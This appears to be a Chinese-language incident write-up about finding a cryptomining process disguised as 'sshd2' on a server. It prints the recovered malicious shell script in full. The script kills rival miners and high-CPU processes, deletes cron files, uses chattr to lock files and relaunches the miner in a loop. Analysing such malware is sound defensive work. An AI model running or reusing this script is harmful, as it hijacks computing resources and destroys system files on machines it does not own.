一个挖矿脚本
遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高
仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户
ps -ef
查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄
在/proc/PID/fd里面顺利找到执行脚本
#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
p=$(ps auxf|grep -v grep|grep sshd2|wc -l)
if [ ${p} -eq 0 ];
then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
pkill 6Tx3Wq
rm -f /tmp/6Tx3Wq
killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b
killall -9 /tmp/.sysinfo/*
rm -f /tmp/.sysinfo/*
chattr +i /tmp/.sysinfo
rm -f /var/spool/cron/root
rm -f /var/spool/cron/backup.db
rm -f /var/spool/cron/dump.rdb
rm -f /var/spool/cron/jw
rm -f /var/spool/cron/uo
rm -f /var/spool/cron/vf
rm -f /tmp/root
rm -f /tmp/backup.db
rm -f /tmp/dump.rdb
rm -f /tmp/root
rm -f /var/spool/cron/crontabs/root
rm -f /var/spool/cron/crontabs/dump.rdb
killall -9 kworkerds
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/apache
chattr -i /etc/cron.d/0hourly
rm -f /etc/cron.d/root
rm -f /etc/cron.d/apache
rm -f /etc/cron.d/0hourly
rm -f /tmp/kworkerds
rm -f /var/tmp/kworkerds
rm -f /etc/cron.hourly/oanacroner
rm -f /etc/cron.hourly/oanacrona
rm -f /etc/cron.daily/oanacroner
rm -f /etc/cron.daily/oanacrona
rm -f /etc/cron.monthly/oanacroner
rm -f /usr/local/bin/dns
pkill .systemcero
pkill vTtHH
pkill -f /tmp/just4root
pkill -f /tmp/just4copy
pkill -f /tmp/dc_name
pkill x7
pkill cloudupdate
pkill diskmanagerd
pkill curl
pkill jspserv
pkill init
pkill sysupdate
pkill sysguard
pkill networkservice
pkill watchbog
rm -f /usr/share/watchbog/watchbog
rm -f /bin/httpsntp
rm -f /bin/ftpsntp
rm -f /tmp/.systemcero
rm -f /tmp/vTtHH
rm -f /usr/bin/.systemcero
rm -f /usr/bin/cloudupdate
rm -f /usr/bin/diskmanagerd
rm -f /lib/libterminfo.so
rm -f /tmp/config.json
rm -f /var/tmp/jspserv
rm -f /etc/update.sh
chattr -i /etc/sysupdate
rm -f /etc/sysupdate
rm -f /etc/config.json
echo >/tmp/6Tx3Wq
echo >/tmp/vTtHH
chattr +i /tmp/6Tx3Wq
chattr +i /tmp/vTtHH
p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}')
name=""$p
if [ -z "$name" ]
then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
nohup /tmp/javax/sshd2 &>>/dev/null &
else
:
fi
sleep 60
done
从脚本的删除动作来看,可能是通过redis的漏洞进来的,脚本似乎还想努力不让监控发现
修复方案
时间短,修复不是我来操作的。初步并没有发现隐藏的激活方式,所以按照上面脚本的内容反向处理一下应该就可以了,注意防范redis的漏洞。